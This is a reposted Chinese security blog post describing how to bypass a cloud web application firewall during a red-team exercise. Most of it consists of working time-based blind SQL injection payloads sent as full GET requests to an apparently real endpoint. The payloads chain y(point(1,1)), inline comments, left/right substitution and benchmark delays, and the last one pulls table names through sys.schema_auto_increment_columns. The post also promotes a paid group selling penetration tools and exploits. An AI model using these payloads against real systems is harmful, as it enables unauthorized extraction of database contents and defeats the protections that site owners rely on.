hw中用到的某云waf绕过技巧

admin 2026-01-21 01:00:12 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文章记录某云WAF绕过实战:利用y(point(1,1))函数打散关键字、/!12345/注释与left/right组合替代substr,配合benchmark延时注入,绕过select+括号、information_schema、user()等组合拦截,最终通过sys.schema_auto_increment_columns获取表名,提供完整绕过思路与payload。 综合评分: 82 文章分类: WEB安全,渗透测试,漏洞分析,安全工具


绕过waf

确定了有waf后,开始尝试确定拦截规则:

绕过关键字组合的检测

  • 输入:1 or (select) =>不拦截
  • 输入:1 or (select*) =>拦截
  • 输入:1 or (select 0) =>拦截
  • 输入:1 or (select()) =>拦截 说明拦截了select+xx的组合,但是没拦截select关键字,开始尝试填充注释符(/*!12345\*/)、垃圾字符等都不行.

绕过sleep(3)

GET /api/customerPolicy/selectPolicy?tag=&input=&policyCategory=&voidDate=&certificateUnit=&status=&nature1=&nature2=&areas=1&city=&title=&publishType=&belongAreas=&orderType=1+or+y(point(1,1))+or+(select/*!12345*/0/**/from(select/**/sleep(1))x)&page=1&pageSize=10&ts=175082141514&orderBy=1
  • 发现 1+or+y(point(1,1))+or+(select/*!12345*/0/**/from(select/**/sleep())x)=>没拦截
  • 发现1+or+y(point(1,1))+or+(select/*!12345*/0/**/from(select/**/sleep(1))x)=>拦截 替换成benchmark尝试
GET /api/customerPolicy/selectPolicy?tag=&input=&policyCategory=&voidDate=&certificateUnit=&status=&nature1=&nature2=&areas=1&city=&title=&publishType=&belongAreas=&orderType=1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/benchmark(51111111,1))x)&page=1&pageSize=10&ts=175082141514&orderBy=1

成功延时

绕过substr()

使用关键字替换, right(left(1,1),1)可以绕过

GET /api/customerPolicy/selectPolicy?tag=&input=&policyCategory=&voidDate=&certificateUnit=&status=&nature1=&nature2=&areas=1&city=&title=&publishType=&belongAreas=&orderType=1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(ascii(right(left(1,1),1))=1,benchmark(51111111,1),1))x)&page=1&pageSize=10&ts=175082141514&orderBy=1

绕过user()/database()/version()

经测试:

  • 1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(ascii(right(left(database,1),1))!=1,benchmark(51111111,1),1))x)=>不拦截
  • 1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(ascii(right(left(database(),1),1))!=1,benchmark(51111111,1),1))x)=>拦截
  • 1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(ascii(right(left(user,1),1))!=1,benchmark(51111111,1),1))x)=>不拦截
  • 1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(ascii(right(left(user(),1),1))!=1,benchmark(51111111,1),1))x)=>拦截
  • 1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(ascii(right(left(version,1),1))!=1,benchmark(51111111,1),1))x)=>不拦截
  • 1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(ascii(right(left(version,1),1))!=1,benchmark(51111111,1),1))x)=>拦截

可以确定没拦截关键字,拦截的是关键字+()组合

这里有两种思路

  1. 使用`绕过 这种方式可以绕过,使用version()的方式分割,可以绕过。 但是这里只能用version()语句才会正常执行,user()和database()无法正常执行。 比较鸡肋,如果是挖src证明能出数据的话,可以用version()来证明,这里打攻防的话,就不太适用了。 2.使用/!12345/`绕过

这里先测试的/**/,发现被拦截绕过information_schema.x

经过测试: information_schema=>不拦截 information_schema.x=>拦截 也就是说拦截了information_schema+.的组合。 可以尝试换个库去读,这里换的是sys.schema_auto_increment_columns 成功绕过拦截读出数据

GET /api/customerPolicy/selectPolicy?tag=&input=&policyCategory=&voidDate=&certificateUnit=&status=&nature1=&nature2=&areas=1&city=&title=&publishType=&belongAreas=&orderType=1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(ascii(right(left((select/*!5555555*/group_concat(table_name)/*!12345*/from/*!12345*/(sys.schema_auto_increment_columns/*!12345*/)),1),1))!=1,benchmark(51111111,1),1))x)&page=1&pageSize=10&ts=175082141514&orderBy=1

总结

y(point(1,1))是一种不常见的函数,拼接起来会起到意想不到的效果,正如前面所说的注入,如果没有y(point(1,1))配合的话,就绕不过去。

知识星球

可以加入我们的知识星球,包含cs二开,甲壳虫,渗透工具,SRC案例分享,POC工具等,还有很多src挖掘资料包


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:泷羽Sec-track 律师 律师《hw中用到的某云waf绕过技巧》

评论:0   参与:  0